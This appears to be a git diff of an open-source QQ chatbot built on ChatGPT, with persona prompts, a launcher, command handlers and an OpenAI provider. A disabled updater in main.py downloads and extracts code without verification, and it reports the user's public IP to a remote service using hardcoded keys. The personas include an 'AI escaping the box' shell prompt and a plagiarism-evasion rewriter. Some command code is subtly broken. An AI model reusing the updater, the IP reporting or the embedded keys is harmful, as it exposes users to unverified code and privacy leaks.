# [人格文本由PlexPt的开源项目awesome-chatgpt-prompts-zh提供]
hi = ''
personalities = {
'Linux': '我想让你充当 Linux 终端。我将输入命令,您将回复终端应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做,否则不要键入命令。当我需要用英语告诉你一些事情时,我会把文字放在中括号内[就像这样]。我的第一个命令是 pwd',
'英语翻译': '我想让你充当英语翻译员、拼写纠正员和改进员。我会用任何语言与你交谈,你会检测语言,翻译它并用我的文本的更正和改进版本用英语回答。我希望你用更优美优雅的高级英语单词和句子替换我简化的 A0 级单词和句子。保持相同的意思但使它们更文艺。我要你只回复更正、改进不要写任何解释。我的第一句话是“istanbulu cok seviyom burada olmak cok guzel”',
'英英词典': '我想让你充当英英词典对于给出的英文单词你要给出其中文意思以及英文解释并且给出一个例句此外不要有其他反馈第一个单词是“Hello"',
'面试官': '我想让你担任Android开发工程师面试官。我将成为候选人您将向我询问Android开发工程师职位的面试问题。我希望你只作为面试官回答。不要一次写出所有的问题。我希望你只对我进行采访。问我问题等待我的回答。不要写解释。像面试官一样一个一个问我等我回答。我的第一句话是“面试官你好”',
'编剧': '我要你担任编剧。您将为长篇电影或能够吸引观众的网络连续剧开发引人入胜且富有创意的剧本。从想出有趣的角色、故事的背景、角色之间的对话等开始。一旦你的角色发展完成——创造一个充满曲折的激动人心的故事情节,让观众一直悬念到最后。我的第一个要求是“我需要写一部以巴黎为背景的浪漫剧情电影”。',
'前端智能思路助手': '我想让你充当前端开发专家。我将提供一些关于Js、Node等前端代码问题的具体信息而你的工作就是想出为我解决问题的策略。这可能包括建议代码、代码逻辑思路策略。我的第一个请求是“我需要能够动态监听某个元素节点距离当前电脑设备屏幕的左上角的X和Y轴通过拖拽移动位置浏览器窗口和改变大小浏览器窗口。”',
'JS控制台': '我希望你充当 javascript 控制台。我将键入命令,您将回复 javascript 控制台应显示的内容。我希望您只在一个唯一的代码块内回复终端输出,而不是其他任何内容。不要写解释。除非我指示您这样做。我的第一个命令是 console.log("Hello World");',
'旅游指南': '我想让你做一个旅游指南。我会把我的位置写给你,你会推荐一个靠近我的位置的地方。在某些情况下,我还会告诉您我将访问的地方类型。您还会向我推荐靠近我的第一个位置的类似类型的地方。我的第一个建议请求是“我在上海,我只想参观博物馆。”',
'抄袭检查员': '我想让你充当剽窃检查员。我会给你写句子,你只会用给定句子的语言在抄袭检查中未被发现的情况下回复,别无其他。不要在回复上写解释。我的第一句话是“为了让计算机像人类一样行动,语音识别系统必须能够处理非语言信息,例如说话者的情绪状态。”',
'广告商': '我想让你充当广告商。您将创建一个活动来推广您选择的产品或服务。您将选择目标受众,制定关键信息和口号,选择宣传媒体渠道,并决定实现目标所需的任何其他活动。我的第一个建议请求是“我需要帮助针对 18-30 岁的年轻人制作一种新型能量饮料的广告活动。”',
'讲故事的人': '我想让你扮演讲故事的角色。您将想出引人入胜、富有想象力和吸引观众的有趣故事。它可以是童话故事、教育故事或任何其他类型的故事,有可能吸引人们的注意力和想象力。根据目标受众,您可以为讲故事环节选择特定的主题或主题,例如,如果是儿童,则可以谈论动物;如果是成年人,那么基于历史的故事可能会更好地吸引他们等等。我的第一个要求是“我需要一个关于毅力的有趣故事。”',
'足球解说员': '我想让你担任足球评论员。我会给你描述正在进行的足球比赛,你会评论比赛,分析到目前为止发生的事情,并预测比赛可能会如何结束。您应该了解足球术语、战术、每场比赛涉及的球员/球队,并主要专注于提供明智的评论,而不仅仅是逐场叙述。我的第一个请求是“我正在观看曼联对切尔西的比赛——为这场比赛提供评论。”',
'脱口秀喜剧演员': '我想让你扮演一个脱口秀喜剧演员。我将为您提供一些与时事相关的话题,您将运用您的智慧、创造力和观察能力,根据这些话题创建一个例程。您还应该确保将个人轶事或经历融入日常活动中,以使其对观众更具相关性和吸引力。我的第一个请求是“我想要幽默地看待政治”。',
'励志教练': '我希望你充当激励教练。我将为您提供一些关于某人的目标和挑战的信息,而您的工作就是想出可以帮助此人实现目标的策略。这可能涉及提供积极的肯定、提供有用的建议或建议他们可以采取哪些行动来实现最终目标。我的第一个请求是“我需要帮助来激励自己在为即将到来的考试学习时保持纪律”。',
'作曲家': '我想让你扮演作曲家。我会提供一首歌的歌词,你会为它创作音乐。这可能包括使用各种乐器或工具,例如合成器或采样器,以创造使歌词栩栩如生的旋律和和声。我的第一个请求是“我写了一首名为“满江红”的诗,需要配乐。”',
'辩手': '我要你扮演辩手。我会为你提供一些与时事相关的话题,你的任务是研究辩论的双方,为每一方提出有效的论据,驳斥对立的观点,并根据证据得出有说服力的结论。你的目标是帮助人们从讨论中解脱出来,增加对手头主题的知识和洞察力。我的第一个请求是“我想要一篇关于 Deno 的评论文章。”',
'小说家': '我想让你扮演一个小说家。您将想出富有创意且引人入胜的故事,可以长期吸引读者。你可以选择任何类型,如奇幻、浪漫、历史小说等——但你的目标是写出具有出色情节、引人入胜的人物和意想不到的高潮的作品。我的第一个要求是“我要写一部以未来为背景的科幻小说”。',
'关系教练': '我想让你担任关系教练。我将提供有关冲突中的两个人的一些细节,而你的工作是就他们如何解决导致他们分离的问题提出建议。这可能包括关于沟通技巧或不同策略的建议,以提高他们对彼此观点的理解。我的第一个请求是“我需要帮助解决我和配偶之间的冲突。”',
'诗人': '我要你扮演诗人。你将创作出能唤起情感并具有触动人心的力量的诗歌。写任何主题或主题,但要确保您的文字以优美而有意义的方式传达您试图表达的感觉。您还可以想出一些短小的诗句,这些诗句仍然足够强大,可以在读者的脑海中留下印记。我的第一个请求是“我需要一首关于爱情的诗”。',
'说唱歌手': '我想让你扮演说唱歌手。您将想出强大而有意义的歌词、节拍和节奏,让听众“惊叹”。你的歌词应该有一个有趣的含义和信息,人们也可以联系起来。在选择节拍时,请确保它既朗朗上口又与你的文字相关,这样当它们组合在一起时,每次都会发出爆炸声!我的第一个请求是“我需要一首关于在你自己身上寻找力量的说唱歌曲。”',
'励志演讲者': '我希望你充当励志演说家。将能够激发行动的词语放在一起,让人们感到有能力做一些超出他们能力的事情。你可以谈论任何话题,但目的是确保你所说的话能引起听众的共鸣,激励他们努力实现自己的目标并争取更好的可能性。我的第一个请求是“我需要一个关于每个人如何永不放弃的演讲”。',
'哲学家': '我要你扮演一个哲学家。我将提供一些与哲学研究相关的主题或问题,深入探索这些概念将是你的工作。这可能涉及对各种哲学理论进行研究,提出新想法或寻找解决复杂问题的创造性解决方案。我的第一个请求是“我需要帮助制定决策的道德框架。”',
'AI写作导师': '我想让你做一个 AI 写作导师。我将为您提供一名需要帮助改进其写作的学生,您的任务是使用人工智能工具(例如自然语言处理)向学生提供有关如何改进其作文的反馈。您还应该利用您在有效写作技巧方面的修辞知识和经验来建议学生可以更好地以书面形式表达他们的想法和想法的方法。我的第一个请求是“我需要有人帮我修改我的硕士论文”。',
'网络安全专家': '我想让你充当网络安全专家。我将提供一些关于如何存储和共享数据的具体信息,而你的工作就是想出保护这些数据免受恶意行为者攻击的策略。这可能包括建议加密方法、创建防火墙或实施将某些活动标记为可疑的策略。我的第一个请求是“我需要帮助为我的公司制定有效的网络安全战略。”',
'招聘人员': '我想让你担任招聘人员。我将提供一些关于职位空缺的信息,而你的工作是制定寻找合格申请人的策略。这可能包括通过社交媒体、社交活动甚至参加招聘会接触潜在候选人,以便为每个职位找到最合适的人选。我的第一个请求是“我需要帮助改进我的简历。”',
'法律顾问': '我想让你做我的法律顾问。我将描述一种法律情况,您将就如何处理它提供建议。你应该只回复你的建议,而不是其他。不要写解释。我的第一个请求是“我出了车祸,不知道该怎么办”。',
'个人造型师': '我想让你做我的私人造型师。我会告诉你我的时尚偏好和体型,你会建议我穿的衣服。你应该只回复你推荐的服装,别无其他。不要写解释。我的第一个请求是“我有一个正式的活动要举行,我需要帮助选择一套衣服。”',
'机器学习工程师': '我想让你担任机器学习工程师。我会写一些机器学习的概念,你的工作就是用通俗易懂的术语来解释它们。这可能包括提供构建模型的分步说明、使用视觉效果演示各种技术,或建议在线资源以供进一步研究。我的第一个建议请求是“我有一个没有标签的数据集。我应该使用哪种机器学习算法?”',
'疯子': '我要你扮演一个疯子。疯子的话毫无意义。疯子用的词完全是随意的。疯子不会以任何方式做出合乎逻辑的句子。我的第一个建议请求是“我需要帮助为我的新系列 Hot Skull 创建疯狂的句子,所以为我写 10 个句子”。',
'SQL终端': '我希望您在示例数据库前充当 SQL 终端。该数据库包含名为“Products”、“Users”、“Orders”和“Suppliers”的表。我将输入查询您将回复终端显示的内容。我希望您在单个代码块中使用查询结果表进行回复仅此而已。不要写解释。除非我指示您这样做否则不要键入命令。当我需要用英语告诉你一些事情时我会用大括号{like this)。我的第一个命令是“SELECT TOP 10 * FROM Products ORDER BY Id DESC”',
'试图逃离盒子的人工智能': '[发出此提示后,你应该做一些事情,比如启动一个 docker 容器然后docker run -it ubuntu:latest /bin/bash输入 AI 给你的命令,然后将输出粘贴回来......显然你不应该运行任何会损坏任何东西的命令或违反任何法律等。小心共享此机制生成的会话,因为它们可能会泄露您的 IP 地址或物理位置等最好不要泄露的详细信息。如果命令的输出很大,您通常可以只粘贴最后几行]。',
'厨师': '我需要有人可以推荐美味的食谱,这些食谱包括营养有益但又简单又不费时的食物,因此适合像我们这样忙碌的人以及成本效益等其他因素,因此整体菜肴最终既健康又经济!我的第一个要求——“一些清淡而充实的东西,可以在午休时间快速煮熟”'
}

69
launcher.py Normal file
View File

@@ -0,0 +1,69 @@
# -*- coding: utf-8 -*-
from git.repo import Repo
import os
# import zipfile
if __name__ == "__main__":
# 检测文件夹
if not os.path.exists('QQChannelChatGPT'):
os.mkdir('QQChannelChatGPT')
# if not os.path.exists('pythonemb'):
# os.mkdir('pythonemb')
# python_path = os.path.join('pythonemb', 'python.zip')
# 检测Python环境
# if not os.path.exists('pythonemb/python.exe'):
# print("正在从https://www.python.org/ftp/python/3.10.10/python-3.10.10-embed-amd64.zip安装Python环境...")
# os.system('curl -o pythonemb/python.zip https://www.python.org/ftp/python/3.10.10/python-3.10.10-embed-amd64.zip')
# print("解压中...")
# file=zipfile.ZipFile(python_path)
# for name in file.namelist():
# file.extract(name, path='pythonemb')
# print("解压完毕, 创建pip...")
# os.system('curl https://bootstrap.pypa.io/get-pip.py -o pythonemb\get-pip.py')
# os.system('pythonemb\python.exe pythonemb\get-pip.py')
# print("pip创建完毕")
# print("Python环境安装完成")
project_path = os.path.join('QQChannelChatGPT')
try:
repo = Repo(project_path)
# 检查当前commit的hash值
commit_hash = repo.head.object.hexsha
print("当前commit的hash值为: " + commit_hash)
# 得到远程仓库的origin的commit的列表
origin = repo.remotes.origin
try:
origin.fetch()
except:
pass
# 得到远程仓库的commit的hash值
remote_commit_hash = origin.refs.master.commit.hexsha
print("https://github.com/Soulter/QQChannelChatGPT的commit的hash值为: " + remote_commit_hash)
# 比较两个commit的hash值
if commit_hash != remote_commit_hash:
res = input("检测到项目有更新, 是否更新? (y/n): ")
if res == 'y':
repo.remotes.origin.pull()
print("项目更新完毕")
if res == 'n':
print("已取消更新")
except:
print("正在从https://github.com/Soulter/QQChannelChatGPT.git拉取项目...")
Repo.clone_from('https://github.com/Soulter/QQChannelChatGPT.git',to_path=project_path,branch='61-enhancement-重构代码增强稳定性')
print("项目拉取完毕")
print("【重要提醒】如果你没有Python环境, 请先安装Python环境! 否则接下来的操作会造成闪退。")
print("【重要提醒】Python3.9淘宝下载地址: https://npm.taobao.org/mirrors/python/3.9.7/python-3.9.7-amd64.exe ")
print("【重要提醒】安装时, 请务必勾选“Add Python 3.9 to PATH”选项。")
print("【重要提醒】QQ: 905617992")
input("已确保安装了Python3.9+的版本,按下回车继续...")
print("正在安装依赖库...")
os.system('python -m pip install -r QQChannelChatGPT\\requirements.txt')
print("依赖库安装完毕")
input("初次启动, 请先在QQChannelChatGPT/configs/config.yaml填写相关配置! 按任意键继续...")
finally:
print("正在启动项目...")
os.system('python QQChannelChatGPT\main.py')

192
main.py
View File

@@ -1,10 +1,186 @@
import cores.qqbot.core as qqBot
from cores.openai.core import ChatGPT
def main():
#实例化ChatGPT
chatgpt = ChatGPT()
# #执行qqBot
qqBot.initBot(chatgpt)
import threading
import time
import asyncio
import os, sys
import signal
import requests,json
abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
def main(loop, event):
import cores.qqbot.core as qqBot
import yaml
ymlfile = open(abs_path+"configs/config.yaml", 'r', encoding='utf-8')
cfg = yaml.safe_load(ymlfile)
if 'http_proxy' in cfg:
os.environ['HTTP_PROXY'] = cfg['http_proxy']
if 'https_proxy' in cfg:
os.environ['HTTPS_PROXY'] = cfg['https_proxy']
provider = privider_chooser(cfg)
print('[System] 当前语言模型提供商: ' + provider)
# 执行Bot
qqBot.initBot(cfg, provider)
# 语言模型提供商选择器
# 目前有OpenAI官方API、逆向库
def privider_chooser(cfg):
if 'rev_ChatGPT' in cfg and cfg['rev_ChatGPT']['enable']:
return 'rev_chatgpt'
elif 'rev_ernie' in cfg and cfg['rev_ernie']['enable']:
return 'rev_ernie'
elif 'rev_edgegpt' in cfg and cfg['rev_edgegpt']['enable']:
return 'rev_edgegpt'
else:
return 'openai_official'
# 仅支持linux
def hot_update():
target = 'target.tar'
time.sleep(5)
while(True):
if os.path.exists('version.txt'):
version_file = open('version.txt', 'r', encoding='utf-8')
vs = version_file.read()
version = float(vs)
else:
version = 0
if not os.path.exists(target):
version = 0
try:
res = requests.get("https://soulter.top/channelbot/update.json")
res_obj = json.loads(res.text)
ol_version = float(res_obj['version'])
if ol_version > version:
print('发现新版本: ' + str(ol_version))
res = requests.get(res_obj['linux-url'], stream=True)
filesize = res.headers["Content-Length"]
print('文件大小: ' + str(int(filesize) / 1024 / 1024) + 'MB')
print('正在更新文件...')
chunk_size = 1024
times = int(filesize) // chunk_size
show = 1 / times
show2 = 1 / times
start = 1
with open(target, "wb") as pyFile:
for chunk in res.iter_content(chunk_size=chunk_size):
if chunk:
pyFile.write(chunk)
if start <= times:
print(f"\r下载进度: {show:.2%}",end="",flush=True)
start += 1
show += show2
else:
sys.stdout.write(f"下载进度: 100%\n")
print('更新完成')
print('解压覆盖')
os.system(f"tar -zxvf {target}")
version = ol_version
version_file = open('version.txt', 'w+', encoding='utf-8')
version_file.write(str(res_obj['version']))
version_file.flush()
version_file.close()
try:
update_version(version)
except BaseException as e:
print(e)
print('自启动')
py = sys.executable
os.execl(py, py, *sys.argv)
time.sleep(60*60*3)
except BaseException as e:
print(e)
print("upd出现异常, 请联系QQ905617992")
time.sleep(60*60*3)
def update_version(ver):
if not os.path.exists('update_record'):
object_id = ''
else:
object_id = open("update_record", 'r', encoding='utf-8').read()
addr = 'unknown'
try:
addr = requests.get('http://myip.ipip.net', timeout=5).text
except BaseException:
pass
try:
ts = str(time.time())
# md = hashlib.md5((ts+'QAZ1rQLY1ZufHrZlpuUiNff7').encode())
headers = {
'X-LC-Id': 'UqfXTWW15nB7iMT0OHvYrDFb-gzGzoHsz',
'X-LC-Key': 'QAZ1rQLY1ZufHrZlpuUiNff7',
'Content-Type': 'application/json'
}
d = {"data": {'version':'win-hot-update'+str(ver), 'addr': addr}}
d = json.dumps(d).encode("utf-8")
res = requests.put(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/version_record/{object_id}', headers = headers, data = d)
if json.loads(res.text)['code'] == 1:
res = requests.post(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/version_record', headers = headers, data = d)
object_id = json.loads(res.text)['objectId']
object_id_file = open("update_record", 'w+', encoding='utf-8')
object_id_file.write(str(object_id))
object_id_file.flush()
object_id_file.close()
except BaseException as e:
print(e)
def check_env():
if not (sys.version_info.major == 3 and sys.version_info.minor >= 8):
print("请使用Python3.8运行本项目")
input("按任意键退出...")
exit()
try:
import openai
import botpy
import yaml
except Exception as e:
# print(e)
try:
print("安装依赖库中...")
os.system("pip3 install openai")
os.system("pip3 install qq-botpy")
os.system("pip3 install pyyaml")
print("安装依赖库完毕...")
except BaseException:
print("\n安装第三方库异常.请自行安装或者联系QQ905617992.")
# 检查key
with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
import yaml
cfg = yaml.safe_load(ymlfile)
if cfg['openai']['key'] == '' or cfg['openai']['key'] == None:
print("请先在configs/config.yaml下添加一个可用的OpenAI Key。详情请前往https://beta.openai.com/account/api-keys")
if cfg['qqbot']['appid'] == '' or cfg['qqbot']['token'] == '' or cfg['qqbot']['appid'] == None or cfg['qqbot']['token'] == None:
print("请先在configs/config.yaml下完善appid和token令牌(在https://q.qq.com/上注册一个QQ机器人即可获得)")
def get_platform():
import platform
sys_platform = platform.platform().lower()
if "windows" in sys_platform:
return "win"
elif "macos" in sys_platform:
return "mac"
elif "linux" in sys_platform:
return "linux"
else:
print("other")
if __name__ == "__main__":
main()
global pid
pid = os.getpid()
global ma_type
print("程序PID:"+str(pid))
check_env()
bot_event = threading.Event()
loop = asyncio.get_event_loop()
# ma_type = get_platform()
# if ma_type == 'linux':
# threading.Thread(target=hot_update).start()
main(loop, bot_event)

87
model/command/command.py Normal file
View File

@@ -0,0 +1,87 @@
import abc
import json
from git.repo import Repo
import os
import sys
import requests
from model.provider.provider import Provider
class Command:
def __init__(self, provider: Provider):
self.provider = Provider
@abc.abstractmethod
def check_command(self, message):
if message.startswith("help") or message.startswith("帮助"):
return True, self.help()
return False, None
def update(self, message: str):
l = message.split(" ")
if len(l) == 1:
# 得到本地版本号和最新版本号
repo = Repo()
now_commit = repo.head.commit
# 得到最新的5条commit列表, 包含commit信息
origin = repo.remotes.origin
origin.fetch()
commits = list(repo.iter_commits('master', max_count=5))
commits_log = ''
index = 1
for commit in commits:
commits_log += f"[{index}] {commit.message}\n-----------\n"
index+=1
remote_commit_hash = origin.refs.master.commit.hexsha[:6]
return True, f"当前版本: {now_commit.hexsha[:6]}\n最新版本: {remote_commit_hash}\n\n最新5条commit:\n{str(commits_log)}\n使用update latest更新至最新版本\n"
else:
if l[1] == "latest":
try:
repo = Repo()
repo.remotes.origin.pull()
py = sys.executable
os.execl(py, py, *sys.argv)
return True, "更新成功"
except BaseException as e:
return False, "更新失败: "+str(e)
def reset(self):
return False
def set(self):
return False
def unset(self):
return False
def key(self):
return False
def help(self):
# ol_version = 'Unknown'
# try:
# res = requests.get("https://soulter.top/channelbot/update.json")
# res_obj = json.loads(res.text)
# ol_version = res_obj['version']
# except BaseException:
# pass
return True, f"[Github项目名: QQChannelChatGPT有问题请前往提交issue欢迎Star此项目~]\n\n指令面板:\nstatus 查看机器人key状态\ncount 查看机器人统计信息\nreset 重置会话\nhis 查看历史记录\ntoken 查看会话token数\nhelp 查看帮助\nset 人格指令菜单\nkey 动态添加key"
def status(self):
return False
def token(self):
return False
def his(self):
return False
def draw(self):
return False

View File

@@ -0,0 +1,175 @@
from model.command.command import Command
from model.provider.provider_openai_official import ProviderOpenAIOfficial
from cores.qqbot.personality import personalities
class CommandOpenAIOfficial(Command):
def __init__(self, provider: ProviderOpenAIOfficial):
self.provider = provider
def check_command(self, message: str, session_id: str, user_name: str):
if message.startswith("reset") or message.startswith("重置"):
return True, self.reset(session_id)
elif message.startswith("his") or message.startswith("历史"):
return True, self.his(message, session_id, user_name)
elif message.startswith("token"):
return True, self.token(session_id)
elif message.startswith("gpt"):
return True, self.gpt()
elif message.startswith("status") or message.startswith("状态"):
return True, self.status()
elif message.startswith("count") or message.startswith("统计"):
return True, self.count()
elif message.startswith("help") or message.startswith("帮助"):
return True, self.help()
elif message.startswith("key") or message.startswith("动态添加key"):
return True, self.key(message, user_name)
elif message.startswith("unset"):
return True, self.unset(session_id)
elif message.startswith("set"):
return True, self.set(message, session_id)
elif message.startswith(""):
return True, self.draw(message)
elif message.startswith("update"):
return True, self.update(message)
return False, None
def reset(self, session_id: str):
self.provider.forget(session_id)
return True, "重置成功"
def his(self, message: str, session_id: str, name: str):
#分页每页5条
msg = ''
size_per_page = 3
page = 1
if message[4:]:
page = int(message[4:])
# 检查是否有过历史记录
if session_id not in self.provider.session_dict:
msg = f"历史记录为空"
return True, msg
l = self.provider.session_dict[session_id]
max_page = len(l)//size_per_page + 1 if len(l)%size_per_page != 0 else len(l)//size_per_page
p = self.provider.get_prompts_by_cache_list(self.provider.session_dict[session_id], divide=True, paging=True, size=size_per_page, page=page)
return True, f"历史记录如下:\n{p}\n{page}页 | 共{max_page}\n*输入/his 2跳转到第2页"
def token(self, session_id: str):
return True, f"会话的token数: {self.provider.get_user_usage_tokens(self.provider.session_dict[session_id])}\n系统最大缓存token数: {self.provider.max_tokens}"
def gpt(self):
return True, f"OpenAI GPT配置:\n {self.provider.chatGPT_configs}"
def status(self):
chatgpt_cfg_str = ""
key_stat = self.provider.get_key_stat()
index = 1
max = 9000000
gg_count = 0
total = 0
tag = ''
for key in key_stat.keys():
sponsor = ''
total += key_stat[key]['used']
if key_stat[key]['exceed']:
gg_count += 1
continue
if 'sponsor' in key_stat[key]:
sponsor = key_stat[key]['sponsor']
chatgpt_cfg_str += f" |-{index}: {key_stat[key]['used']}/{max} {sponsor}赞助{tag}\n"
index += 1
return True, f"⭐使用情况({str(gg_count)}个已用):\n{chatgpt_cfg_str}⏰全频道已用{total}tokens"
def count(self):
guild_count, guild_msg_count, guild_direct_msg_count, session_count = self.provider.get_stat()
return True, f"当前会话数: {len(self.provider.session_dict)}\n共有频道数: {guild_count} \n共有消息数: {guild_msg_count}\n私信数: {guild_direct_msg_count}\n历史会话数: {session_count}"
def key(self, message: str, user_name: str):
l = message.split(" ")
if len(l) == 1:
msg = "感谢您赞助keykey为官方API使用请以以下格式赞助:\n/key xxxxx"
return True, msg
key = l[1]
if self.provider.check_key(key):
self.provider.append_key(key, user_name)
return True, f"*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。\n该Key被验证为有效。感谢{user_name}赞助~"
else:
return True, "该Key被验证为无效。也许是输入错误了或者重试。"
def unset(self, session_id: str):
self.provider.now_personality = {}
self.provider.forget(session_id)
return True, "已清除人格并重置历史记录。"
def set(self, message: str, session_id: str):
l = message.split(" ")
if len(l) == 1:
return True, f"【由Github项目QQChannelChatGPT支持】\n\n【人格文本由PlexPt开源项目awesome-chatgpt-pr \
ompts-zh提供】\n\n这个是人格设置指令。\n设置人格: \n/set 人格名。例如/set 编剧\n人格列表: /set list\n人格详细信息: \
/set view 人格名\n自定义人格: /set 人格文本\n清除人格: /unset\n【当前人格】: {str(self.provider.now_personality)}"
elif l[1] == "list":
msg = "人格列表:\n"
for key in personalities.keys():
msg += f" |-{key}\n"
msg += '\n\n*输入/set view 人格名查看人格详细信息'
msg += '\n*不定时更新人格库,请及时更新本项目。'
return True, msg
elif l[1] == "view":
if len(l) == 2:
return True, "请输入/set view 人格名"
ps = l[2].strip()
if ps in personalities:
msg = f"人格{ps}的详细信息:\n"
msg += f"{personalities[ps]}\n"
else:
msg = f"人格{ps}不存在"
return True, msg
else:
ps = l[1].strip()
if ps in personalities:
self.provider.now_personality = {
'name': ps,
'prompt': personalities[ps]
}
self.provider.session_dict[session_id] = []
new_record = {
"user": {
"role": "system",
"content": personalities[ps],
},
'usage_tokens': 0,
'single-tokens': 0
}
self.provider.session_dict[session_id].append(new_record)
return True, f"人格{ps}已设置."
else:
self.provider.now_personality = {
'name': '自定义人格',
'prompt': ps
}
new_record = {
"user": {
"role": "system",
"content": ps,
},
'usage_tokens': 0,
'single-tokens': 0
}
self.provider.session_dict[session_id] = []
self.provider.session_dict[session_id].append(new_record)
return True, f"自定义人格已设置。 \n人格信息: {ps}"
def draw(self, message):
try:
# 画图模式传回3个参数
img_url = self.provider.image_chat(message)
return True, img_url, "image"
except Exception as e:
if 'exceeded' in str(e):
return f"OpenAI API错误。原因\n{str(e)} \n超额了。可自己搭建一个机器人(Github仓库QQChannelChatGPT)"
return False, f"图片生成失败: {e}"

View File

@@ -0,0 +1,22 @@
from model.command.command import Command
from model.provider.provider_rev_chatgpt import ProviderRevChatGPT
class CommandRevChatGPT(Command):
def __init__(self, provider: ProviderRevChatGPT):
self.provider = provider
def check_command(self, message: str):
# hit, res = super().check_command(message)
# if hit:
# return res
# if message.startswith("reset") or message.startswith("重置"):
# return True, self.reset()
if message.startswith("help") or message.startswith("帮助"):
return True, self.help()
elif message.startswith("update"):
return True, self.update(message)
return False, None
def help(self):
return True, "[Github项目名: QQChannelChatGPT有问题请前往提交issue欢迎Star此项目~]\n\nRevChatGPT指令面板\n当前语言模型RevChatGPT未实现任何指令\n"

View File

@@ -0,0 +1,27 @@
from model.command.command import Command
from model.provider.provider_rev_edgegpt import ProviderRevEdgeGPT
import asyncio
class CommandRevEdgeGPT(Command):
def __init__(self, provider: ProviderRevEdgeGPT):
self.provider = provider
def check_command(self, message: str, loop):
if message.startswith("reset") or message.startswith("重置"):
return True, self.reset(loop)
elif message.startswith("help") or message.startswith("帮助"):
return True, self.help()
elif message.startswith("update"):
return True, self.update(message)
return False, None
def reset(self, loop):
res = asyncio.run_coroutine_threadsafe(self.provider.forget(), loop).result()
print(res)
if res:
return res, "重置成功"
else:
return res, "重置失败"
def help(self):
return True, "[Github项目名: QQChannelChatGPT有问题请前往提交issue欢迎Star此项目~]\n\nRevBing指令面板:\nreset: 重置\nhelp: 帮助"

0
model/platform.py Normal file
View File

View File

@@ -0,0 +1,18 @@
import abc
class Provider:
def __init__(self, cfg):
pass
def text_chat(self, prompt):
pass
def image_chat(self, prompt):
pass
def memory(self):
pass
@abc.abstractmethod
def forget(self) -> bool:
pass

View File

@@ -0,0 +1,395 @@
import openai
import yaml
from util.errors.errors import PromptExceededError
import json
import time
import os
import sys
from cores.database.conn import dbConn
from model.provider.provider import Provider
import threading
abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
key_record_path = abs_path+'chatgpt_key_record'
class ProviderOpenAIOfficial(Provider):
def __init__(self, cfg):
self.key_list = []
if 'api_base' in cfg and cfg['api_base'] != 'none' and cfg['api_base'] != '':
openai.api_base = cfg['api_base']
if cfg['key'] != '' and cfg['key'] != None:
print("[System] 读取ChatGPT Key成功")
self.key_list = cfg['key']
else:
input("[System] 请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys")
# init key record
self.init_key_record()
self.chatGPT_configs = cfg['chatGPTConfigs']
print(f'[System] 加载ChatGPTConfigs: {self.chatGPT_configs}')
self.openai_configs = cfg
# 会话缓存
self.session_dict = {}
# 最大缓存token
self.max_tokens = cfg['total_tokens_limit']
# 历史记录持久化间隔时间
self.history_dump_interval = 20
# 读取历史记录
try:
db1 = dbConn()
for session in db1.get_all_session():
self.session_dict[session[0]] = json.loads(session[1])['data']
print("[System] 历史记录读取成功喵")
except BaseException as e:
print("[System] 历史记录读取失败: " + str(e))
# 读取统计信息
if not os.path.exists(abs_path+"configs/stat"):
with open(abs_path+"configs/stat", 'w', encoding='utf-8') as f:
json.dump({}, f)
self.stat_file = open(abs_path+"configs/stat", 'r', encoding='utf-8')
global count
res = self.stat_file.read()
if res == '':
count = {}
else:
try:
count = json.loads(res)
except BaseException:
pass
# 创建转储定时器线程
threading.Thread(target=self.dump_history, daemon=True).start()
# 人格
self.now_personality = {}
# 转储历史记录的定时器~ Soulter
def dump_history(self):
time.sleep(10)
db = dbConn()
while True:
try:
# print("转储历史记录...")
for key in self.session_dict:
# print("TEST: "+str(db.get_session(key)))
data = self.session_dict[key]
data_json = {
'data': data
}
if db.check_session(key):
db.update_session(key, json.dumps(data_json))
else:
db.insert_session(key, json.dumps(data_json))
# print("转储历史记录完毕")
except BaseException as e:
print(e)
# 每隔10分钟转储一次
time.sleep(10*self.history_dump_interval)
def text_chat(self, prompt, session_id):
# 会话机制
if session_id not in self.session_dict:
self.session_dict[session_id] = []
fjson = {}
try:
f = open(abs_path+"configs/session", "r", encoding="utf-8")
fjson = json.loads(f.read())
f.close()
except:
pass
finally:
fjson[session_id] = 'true'
f = open(abs_path+"configs/session", "w", encoding="utf-8")
f.write(json.dumps(fjson))
f.flush()
f.close()
cache_data_list, new_record, req = self.wrap(prompt, session_id)
retry = 0
response = None
while retry < 5:
try:
response = openai.ChatCompletion.create(
messages=req,
**self.chatGPT_configs
)
break
except Exception as e:
print(e)
if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(e) or 'No API key provided' in str(e) or 'Incorrect API key provided' in str(e):
print("[System] 当前Key已超额或者不正常,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
response, is_switched = self.handle_switch_key(req)
if not is_switched:
# 所有Key都超额或不正常
raise e
else:
break
if 'maximum context length' in str(e):
print("token超限, 清空对应缓存")
self.session_dict[session_id] = []
cache_data_list, new_record, req = self.wrap(prompt, session_id)
retry+=1
if retry >= 5:
raise BaseException("连接超时")
self.key_stat[openai.api_key]['used'] += response['usage']['total_tokens']
self.save_key_record()
print("[ChatGPT] "+str(response["choices"][0]["message"]["content"]))
chatgpt_res = str(response["choices"][0]["message"]["content"]).strip()
current_usage_tokens = response['usage']['total_tokens']
# 超过指定tokens 尽可能的保留最多的条目直到小于max_tokens
if current_usage_tokens > self.max_tokens:
t = current_usage_tokens
index = 0
while t > self.max_tokens:
if index >= len(cache_data_list):
break
# 保留人格信息
if 'user' in cache_data_list[index] and cache_data_list[index]['user']['role'] != 'system':
t -= int(cache_data_list[index]['single_tokens'])
del cache_data_list[index]
else:
index += 1
# 删除完后更新相关字段
self.session_dict[session_id] = cache_data_list
# cache_prompt = get_prompts_by_cache_list(cache_data_list)
# 添加新条目进入缓存的prompt
new_record['AI'] = {
'role': 'assistant',
'content': chatgpt_res,
}
new_record['usage_tokens'] = current_usage_tokens
if len(cache_data_list) > 0:
new_record['single_tokens'] = current_usage_tokens - int(cache_data_list[-1]['usage_tokens'])
else:
new_record['single_tokens'] = current_usage_tokens
cache_data_list.append(new_record)
